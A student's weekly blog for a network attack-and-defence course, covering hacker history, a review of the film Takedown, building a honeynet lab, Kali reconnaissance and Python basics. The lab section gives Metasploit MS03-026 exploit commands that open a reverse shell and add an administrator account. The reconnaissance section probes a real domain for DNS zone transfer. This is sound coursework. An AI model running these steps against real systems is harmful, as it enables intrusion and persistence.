第1节 教材学习内容总结
本周学习了教材第一、二章的内容。
1.第一章
学习了一个典型案例——“黛蛇蠕虫”的发生过程、原理、应急处置和利用metasploit、虚拟蜜网等技术重现的传播场景。
学习了黑客与黑客道的起源、发展史、黑客精神:黑客(hacker)原为褒义,发展的过程中有了贬义的内容。现阶段,黑客通常有两种理解方式——真正的黑客hacker(白帽子)和cracker骇客(黑帽子)即为恶意攻击者,也延伸出一个中间地带——灰帽子。
这一部分还对黑客道(hackerdom)国外、国内的发展阶段进行了解读。
如国外分为四个阶段——真程序师时代(程序设计、撰写软件)、ITS文化(起源于麻省理工,ITS是一种不兼容的分时系统)、unix与微计算机文化(图灵奖)、开源软件和wintel垄断联盟的对决(公共意识形成和发扬,微软公司诞生,linux发明)。
国内也分为四个阶段:史前期(748工程、wps、五笔等)、萌芽期(出现窃客)、混沌发展期(冰河、灰鸽子等木马,也出现了白帽子、安全公司,在此期间诞生了爱国与团结为精神的“红客”)、成熟发展期。
本章P45的实践作业见第2节。
2.第二章
第二章简要介绍了虚拟化网络攻防实验环境及其配置,给出了靶机,攻击机,攻击检测、分析与防御平台,网络连接等概念,并引出第三代蜜网技术。本章还给出了个人版网络攻防实验环境拓扑图供实践参考。
本章P61的实践作业见第3节。
第2节 《骇客追缉令/Takedown》影评
《网络攻防技术与实践》第一章提到了世界“头号电脑骇客”——Kevin Mitnick/凯文·米特尼克,他是最具传奇色彩的黑客任务,甚至成为黑客道中最广为人知的崇拜对象。
有三部关于他的好莱坞电影——
《战争游戏》war game
、《骇客追缉令》takedown
和《自由停工期》freedom downtime
。我选择观看的是《骇客追缉令》。片头讨论了黑客的“共产主义”味道本质——免费与共享。同时也指出了米特尼克黑到的东西——FBI使用的SAS。故事由此展开:
1.反套FBI钓鱼犯罪
一开始的故事就特别有趣,FBI为了继续困住米特尼克,派出一个人假扮黑客,引诱米特尼克犯罪。没想到,米特尼克利用对方“傲娇”的人性弱点,套得对方说出SAS(加州南部电话公司提供给FBI的一项服务,能在任何时间、地点,监听电话)。等米特尼克拿到SAS之后,监听了对方的电话,知道对方是FBI派来的。而FBI不仅没能够让米特尼克上钩,反而让他掌握了重要的工具。
2.使用社会工程学的“骗术”
米特尼克是怎样做到的呢?
影片中米特尼克先假扮
加州南方电话公司的要员Joe Fredy
,打电话到办公室,获得相关的资料,包括:名称(SAS密码变换服务)、序列号以及制造商名字。然后利用
制造商
的资料,打电话给SAS的发明人,骗他答应将其资料发送给自己。而研究这些资料之后,他能窃听并取得FBI的情报,如:名字、证件号、分工、上下级关系等。他又假扮
加州南方电话公司的总部的Tony Green
,打电话给另一个关键人物Mike Leahy,利用了对方的同情和从容的应对技巧获取了资料。
米特尼克只打了三次电话,第一次出于大家对同事的信任;第二次打给设计者,因为对方公司破产,处于萧条期,难得有人赏识,自然非常慷慨;第三次靠了“当下属的尴尬同感”并能够随机应变。米特尼克利用了人性的弱点和人们工作中的疏忽。正如一篇文章中所提到的“我们也可以反思一下,为什么我们需要人工智能了,其实人类自身更不可靠。”
3.米特尼克对决下村勉(Tsutomu Shimomura)
米特尼克在获得SAS之后,就选择了逃跑,而且靠着SAS,他能够掌握FBI的抓捕,成功躲避了1年多。期间有多次精彩的FBI与米特尼克的对决,但都被米特尼克识破并躲过了追捕。
无奈,FBI求助了另一名黑客——
下村勉
,下村勉是一个电算物理学家、电脑安全专家,是财富500强企业、政府机构、国防部的安全顾问,圣地亚哥超级计算机中心的资深职员。二人展开了非常精彩的多次对决:
- 第一次:下村勉胜
下村勉在一次听证会上介绍手中的Nokia手机是相当于部由微电脑控制的无线电扫描器(将手机像电脑一样编程,正常情况下,它被用做电话,但稍做修改就能变成一个扫描器,可以不断的调试频率,直到有对话出现。这样也就可以利用手机充当bug了。
就技术而言,米特尼克是黑进系统,获得了SAS;而下村勉是发现了Nokia手机程序中存在这样的功能。下村勉更高一筹。
- 第二次:米特尼克胜
米特尼克黑入下村勉的电脑,而且成功地将下村勉电脑里的资料全部复制走。下村勉平常用电脑时不联网,这样提高了安全性,但是一次不慎使用时被米特尼克入侵了网络,并通过了防火墙。米特尼克利用了人性的弱点——下村勉用自己女朋友的名字或者生日做密码。
米特尼克不仅很快就在下村勉的那些资料里获得了Nokia手机中的程序Nokitel。还很快就发现了下村勉创造的超级病毒“轻视”。
- 第三次:下村勉险胜
米特尼克想尽办法破解“轻视”。而另一方面,下村勉与FBI合作,希望在“轻视”被破解前抓到米特尼克。
米特尼克采用了一种方式:通过控制一万台电脑,连接成一个自己的网络,形成的“组合型超级计算机”。最终他成功了,破译了密码,进入了“轻视”。
另一面下村勉马不停蹄地追踪米特尼克,逐步缩小范围。下村勉通过种种方法,获取了米特尼克真实的IP地址。尽管米特尼克用一大堆假代理,努力隐藏自己的真实IP,但是因为他在网上时间太长,最终被掌握了真实的接入地址。然后,下村勉确定了米特尼克在北加州的拉里德曼,又锁定了米特尼克具体上网的范围。最后通过探测其手机拨号常用号码,不断将其位置具体化。最终找到了米特尼克藏身的房子。
4.感悟
- 人性的弱点易被利用、防不胜防;
- 没有系统是绝对安全的;
- 黑客亦正(真正的hacker)亦邪(cracker),关键在于如何使用自身的技术,可以是网络安全卫士,也可以是破坏者、窃取者。我们必须重视网络安全技术,不管是正面还是反面的运用。米特尼克说“我能在任何地方的任何银行提钱,我能把他放进任何账户,但是我没有。” 他其实是以一种技术的追求去做黑客的而非获利。米特尼克现在“改邪归正”,做着和下村勉相似的工作。
5.后记
如今凯文·米特尼克已是一名专业的网络安全咨询师,2011年06月27日的一则新闻——《入侵美中情局的“黑客”团体LulzSec散伙》,新闻中提到“电脑网络‘黑客’团体LulzSec因入侵美国中央情报局、国会参议院、日本索尼公司等政府和企业网站“闻名”,25日宣布散伙”,其中提到凯文·米特尼克对此所发表的意见——凯文·米特尼克是网络安全咨询师,曾经是“知名”黑客。他告诉美联社记者,以一次引人注目的行动“启发”全球更多黑客发动类似攻击,是LulzSec希望收到的效果。“他们可以眼看(他人)破坏而不动手,无需承担被捉风险。”
第3节 教材学习实践
实践了教材61页基于蜜网的攻防环境搭建,参考诸葛建伟的《基于第三代蜜网的VNet网络攻防实验环境构建》。
在此之前,应对以下几种技术做详细理解:虚拟机技术如vmware使用,运行在虚拟机软件上操作系统的三种网络连接方式即桥接、nat、host-only 蜜网概念 网络拓扑结构 sebek和walleye使用等(这里不再展开详述)
1. 虚拟蜜网的构建
包括:VMware软件安装与配置、网络环境配置、安装攻击机虚拟机、安装靶机虚拟机、安装蜜网网关虚拟机、配置蜜网网关虚拟机、测试蜜网网关的远程管理、测试虚拟机蜜罐和攻击机主机之间的网络连接等。
a.vmware环境配置
- 在VMware中点击编辑--> 虚拟网络编辑器。
- 选择VMnet1,设置如下(host-only模式,子网IP设置为192.168.200.128,子网掩码设置为255.255.255.128)
- 选择VMnet8,设置如下(NAT模式,子网IP设置为192.168.200.0,子网掩码设置为255.255.255.128)
“NAT设置”,设置如下:
点击DHCP 设置(Dynamic Host Configuration Protocol,动态主机配置协议,是一个局域网的网络协议,使用UDP协议工作, 主要有两个用途:给内部网络或网络服务供应商自动分配IP地址,给用户或者内部网络管理员作为对所有计算机作中央管理的手段),设置如下(开始IP地址192.168.200.2,结束IP地址192.168.200.120)(注意:为了留一些IP给靶机,在这里结束IP地址没有设为192.168.200.126)。b.安装攻击机、靶机虚拟机并进行配置,查看ip(攻击机:192.168.200.2,靶机:192.168.200.124)。
c.安装蜜网网关虚拟机
- 安装时要设置蜜网网关虚拟机命名与路径,这里一定要注意安装过程,否则会出现安装honeywall出现“图形界面无法启动”的问题,INIT: Id “X” respawning too fast语句,如下图所示:
解决方法:调整安装过程,选择“稍后安装操作系统”,这里参考了[一篇CSDN博客](http://m.blog.csdn.net/julyicenow1/article/details/46530055?from=singlemessage)。- 设置蜜网网关虚拟硬件(这里具体过程详见诸葛建伟实验文档)
- 自定义硬件中选择新CD/DVD(IDE),在右侧使用ISO映像文件中导入honeywall的iso文件(此后power on进行安装,安装完成后可以看到图形界面出来了,只需要su –到root即可自动进入到honeywall的配置界面了)。
添加两块网卡,网络适配器2设为Host-only, 网络适配器3设为NAT。- 安装蜜网网关软件
启动蜜网网关虚拟机,进入安装界面。
- 配置蜜网网关虚拟机(以roo/honey缺省用户/口令登录,使用su -提升到root帐号,缺省口令也为honey),详细配置过程略。
- Sebek服务器端配置
sebek软件分为客户端和服务器端,可用来记录攻击者读取的数据、击键和运行程序的情况,可用来分析攻击者的行为。Sebek的客户端被安装到蜜罐主机上,被用来在蜜罐捕获数据并发送到网关的sebek服务器端的数据库中。网络安全人员可利用sebekweb来浏览、查询、分析这些数据。
d.测试蜜网网关的远程管理
- 测试walleye远程访问,在192.168.200.2这台虚拟机上访问https://192.168.200.8。
提供基于web的蜜网数据分析接口,精确高效分析蜜网所收集的数据,如sebek捕获的数据、IDS报警信息等,以便安全人员快速识别蜜网中所发生的入侵事件。出现一个修改密码的界面,按要求修改密码。- 进入Walleye远程管理界面:
- 测试虚拟机蜜罐和攻击机主机之间的网络连接
测试攻击机虚拟机到蜜罐虚拟机的连通性:
测试蜜罐虚拟机到攻击机虚拟机的连通性:在蜜网网关上监听ICMP ping包是否通过外网口和内网口(注意:以下命令必须在root权限下操作)
攻击机ping靶机的时候,tcpdump -i eth0 icmp
攻击机ping靶机的时候,tcpdump -i eth1 icmp
同理需要做靶机ping攻击机的时候,tcpdump -i eth0 icmp
,tcpdump -i eth1 icmp
,通过测试后,说明虚拟机蜜罐和外部网络之间的网络连接(通过蜜网网关eth0和eth1所构成的网桥)没有问题。2. 攻击测试
a.虚拟机蜜罐上安装Sebek客户端,安装过程略。
b.漏洞扫描测试
- 在攻击机虚拟机上用nmap扫描蜜罐虚拟机192.168.200.124。
- 蜜网网关捕获的漏洞扫描过程的摘要视图。
c.wireshark可对包进行分析
d.metasploit渗透攻击测试运行MSFConsole,按图输入针对MS03-026即插即用服务漏洞的渗透攻击命令,获得反向的shell。(因服务器开启了135端口,因此决定使用ms03_026对其进行渗透测试,在msf里输入命令
use exploit/windows/dcerpc/ms03_026
进行ms03_026攻击渗透模块.在msf里输入命令setpayload windows/shell/reverse_tcp设置该渗透攻击模块的攻击载荷为反弹型tcp连接; 在msf里输入命令show options查看该渗透攻击模块的详细参数; 在msf里输入命令set RHOST 192.168.124.132设置远程主机的IP地址为192.168.124.132; 在msf里输入命令set LHOST 192.168.124.1 设置本地主机的IP地址为192.168.124.1; 在msf里输入命令 showoptions验证输入的结果; 在msf里输入命令exploit开始渗透攻击,从返回的结果看,本次渗透攻击成功反弹shell。 可以在反弹的shell中输入命令net user test 123456 /add 添加普通用户test1。 可以在反弹的shell中输入命令net localgroup administrators test1 /add将test1加入管理员用户组。使用远程桌面登陆远程服务器,成功登陆,本次渗透成功完成。)
对蜜网网关记录的攻击数据进行分析,可以验证蜜网的攻击数据捕获和分析功能。
以上内容是在联想电脑上做的,ios电脑配置攻防环境如下:
第4节 kali视频(1-5)学习
1.kali安装
2.基本配置
vmtools安装过程。
3.安全渗透测试一般流程
渗透测试流程主要有以下10个方面:
- 信息收集:选择攻击目标。包括目标在线主机、域名信息、邮箱地址、常用密码、同网段信息、子域名信息、指纹信息、端口信息、文件信息等。借助搜索引擎、社会工程学与基本扫描工具实现。
- 漏洞分析:搜索引擎、专业站点。
- 漏洞利用:kali中现成的工具集,利用漏洞/提权,例如metasploit。
- 权限维持:留后门。
- 文档编辑:报告工具集。
4.信息搜集之GoogleHack
学习了利用互联网、搜索引擎获取信息的工具。
- 通过互联网网站搜集
子域名信息 http://searchdns.netcraft.com/, 二级域名、操作系统版本等。
shodan大数据搜索 http://www.shodanhq.com/
同IP网站反查 http://www.yougetsignal.com/tools/web-sites-on-web-server/
IP信息扫描 http://bgp.he.net/
网站指纹信息 http://builtwith.com/ ,网站如何运行。
WHOIS查询 http://whois.chinaz.com/ ,域名信息、拥有者信息如注册地、传真、电话号码、邮箱等。
通过Google Hack语句
kali工具
信息收集——情报分析
creepy针对国外twitter/twofi theHarvester是一个“社会工程学”工具(FQ使用) metagoofil
5.信息搜集之目标获取
域名系统DNS(domainname system),将域名解析为IP地址。kali工具如dnsmap、dnsnum、fierce与dnsdict6。
- 使用dig进行域名解析。例如
dig www.baidu.com
,对比ping命令。
- 使用dig进行域传送漏洞测试。
dig NS DomainName
,选择其中一台DNS服务器对目标域名信息进行测试dig axfr @ns3.baidu.com baidu.com
,没有发现漏洞。- 子域名枚举工具使用
fierce -dns domainName
进行传输漏洞测试,没有发现后暴力枚举。
dnsmap baidu.com
第5节 国内外黑客研究
这一部分单独写了一篇博客,详见2017-2018-2 20179204《网络攻防实践》黑客研究。
第6节 安全工具研究
这一部分单独写了一篇博客,详见2017-2018-2 20179204《网络攻防实践》安全工具研究。
第7节 python学习小结
本周学习了实验楼python课程1-10,编程语言的学习我认为重在实践,因此这里做一个简单的学习小结:
1.python使用简介
- 输入python3
脚本文件
vim 1.py 键入i #!/usr/bin/env python3 esc后键入:wq回车退出 添加可执行权限chmod +x 1.py 执行输入 ./1.py
代码风格
2.变量和数据类型
- python的关键字
- 字符串格式化
3.运算符和表达式
- 运算符
只要有任意一个操作数是浮点数,结果就会是浮点数。
进行除法/运算时若是除不尽,结果将会是小数,这很自然,如果要进行整除,使用 // 运算符,它将返回商的整数部分。
%用于求余运算
divmod(num1, num2) 返回一个元组,这个元组包含两个值,第一个是 num1 和 num2 相整除得到的值,第二个是 num1 和 num2 求余得到的值,然后我们用 * 运算符拆封这个元组,得到这两个值:
print("Months = {} Days = {}".format(*divmod(days, 30)))
关系运算符
逻辑运算符
简写运算符
x op= expression
为简写运算的语法形式。其等价于x = x op expression
类型转换
- 挑战1:圆的面积
在实践过程中出现了一些问题,参考了网上有相关错误的小结,总结的较为详细~参见:17个新手常见python运行时错误。
4.控制流if-else
- if语句中要使用正确的缩进
- elif是else if的缩写:if...: elif...: elif...: else...:
- 真值检测:if x:pass而非if x==true:pass
5.循环
- while循环(注意:和缩进)
知识点:print() 除了打印你提供的字符串之外,还会打印一个换行符,所以每调用一次 print() 就会换一次行,如同上面一样。可以通过 print() 的另一个参数 end 来替换这个换行符
print(b, end=' ')
。
这一部分有许多小例子,可以反复练习。
- for循环
使用range()函数,如(以回车方式输出):
for i in range(5) print(i)
输出range()的值可以用list()函数,如:
- continue语句
6.数据结构
- 列表可以写作中括号之间的一列逗号分隔的值。列表的元素不必是同一类型。
a = [23, 45, 1, -3434, 43624356, 234],创建列表squares语句
squares=[]
。通过索引访问squares[0],使用负数的索引,那将会从列表的末尾开始计数。 切片,a[0:-1]从第一个位置到倒数第二个位置。对于非负索引,如果上下都在边界内,切片长度就是两个索引之差。
对切片设置步长,a[1::2],意思是从切片索引 1 到列表末尾,每隔两个元素取值。
a.如果插入数据可以用
调用列表的方法 a.append(45) 添加元素 45 到列表末尾
列表的 insert() 方法,如a.insert(0, 1) # 在列表索引 0 位置添加元素 1
b.列表方法 count(s) 会返回列表元素中 s 的数量。检查一下 45 这个元素在列表中出现了多少次,a.count(45);列表长度len(a)即列表中元素个数。
c.在列表中移除指定值,使用remove() ,如a.remove(234),移除234这个值;或letters[2:5]=[]移除2-4位置的值;letters[:]=[]清空;letters[2:5]=['C','D','E']替换2-4位置的值。
d.反转列表,a.reverse()。
e.将b列表的元素添加到a列表的末尾,使用extend(),如a.extend(b)
f.列表排序,a.sort()
g.删除置顶位置的列表元素,如del a[-1]是删除了最后一个元素。
h.将列表用作栈和队列,a.pop()倒序弹出元素,如果是a.pop(0)是弹出列表中第一个元素。
i.列表推导式(列表推导式的嵌套还不熟,以后会加强学习)。
j.列表嵌套
元组(是由数个逗号分割的值组成)
a = 'Fedora', 'ShiYanLou', 'Kubuntu', 'Pardus'/a=(1,2,3,4) `a[1]`输出'ShiYanLou' `for x in a:` `print(x, end=' ')`输出Fedora ShiYanLou Kubuntu Pardus
注意:元组是不可变类型,这意味着你不能在元组内删除或添加或编辑任何值。
要创建只含有一个元素的元组(turple),在值后面跟一个逗号,如a = (123, )或b=321。通过内建函数 type() 你可以知道任意变量的数据类型。
- 集合
集合是一个无序不重复元素的集。基本功能包括关系测试和消除重复元素。
a.创建集合
basket = {'apple', 'orange', 'apple', 'pear', 'orange', 'banana'}
,print(basket)
可以看到重复的元素被去除。b.查询元素
'orange' in basket
。c.对单词中的字母进行集合操作:
去重 a = set('abracadabra') a 有而 b 没有的字母 a - b 存在于 a 或 b 的字母 a | b a 和 b 都有的字母 a & b 存在于 a 或 b 但不同时存在的字母 a ^ b 弹出元素 a.pop() 添加元素 a.add('c')
- 字典
字典是是无序的键值对(key:value)集合,同一个字典内的键必须是互不相同的。一对大括号 {} 创建一个空字典。初始化字典时,在大括号内放置一组逗号分隔的键:值对,这也是字典输出的方式。我们使用键来检索存储在字典中的数据。
a.创建字典
data = {'kushal':'Fedora', 'kart_':'Debian', 'Jace':'Mac'}
b.创建新键值对
data['parthan'] = 'Ubuntu'
c.del删除键值对
del data['kushal']
d.in查询指定的键
'ShiYanLou' in data
e.dict()可以从包含键值对的元组中创建字典
dict((('Indian','Delhi'),('Bangladesh','Dhaka')))
,结果{'Indian': 'Delhi', 'Bangladesh': 'Dhaka'}。f.items()遍历字典
for x, y in data.items(): ... print("{} uses {}".format(x, y))
g.enumerate()和zip()函数
7.字符串
内建方法
title() 返回字符串的标题版本,即单词首字母大写其余字母小写。 upper() 返回字符串全部大写的版本,反之 lower() 返回字符串的全部小写版本。 swapcase() 返回字符串大小写交换后的版本。 isalnum() 检查所有字符是否为字母数字 isalpha() 检查字符串之中是否只有字母。 split() 分割任意字符串,split() 允许有一个参数,用来指定字符串以什么字符分隔(默认为 " "),它返回一个包含所有分割后的字符串的列表。
join() 使用指定字符连接多个字符串,它需要一个包含字符串元素的列表作为输入然后连接列表内的字符串元素。
字符串剥离
strip(chars),用来剥离字符串首尾中指定的字符,它允许有一个字符串参数,这个参数为剥离哪些字符提供依据。不指定参数则默认剥离掉首尾的空格和换行符。
>>> s = " a bc\n " >>> s.strip() 输出结果'a bc'
还可以使用lstrip(chars) 或 rstrip(chars) 只对字符串左或右剥离。
- 文本搜索
- 回文检查
z=s[::-1]
,从后往前。单词计数
挑战2
8.函数
- 使用关键字 def 来定义一个函数。
- 局域或全局变量,通过关键字 global 来告诉 a 的定义是全局的,
global a
9.文件处理
- 文件打开,open()函数。默认的模式为只读模式,也就是说如果不提供任何模式,open() 函数将会以只读模式打开文件。提供模式,如
f = open('a.txt', 'w')
- 文件关闭,a.close()
文件读取
a=open("sample.txt") a.read() 如果再一次调用 read(),它会返回空字符串因为它已经读取完整个文件。 read(size) 有一个可选的参数 size,用于指定字符串长度。如果没有指定 size 或者指定为负数,就会读取并返回整个文件。 readline() 能帮助你每次读取文件的一行。 readlines() 方法读取所有行到一个列表中。
文件写入,a.write('powerpork\n')。
这一部分有许多小例子,可以反复练习。
10.异常
本节介绍了几种常见异常和处理办法。
第8节 上周linux学习总结
上周学习完了实验楼linux基础课程,学习总结详见2017-2018-2 20179204《网络攻防实践》linux基础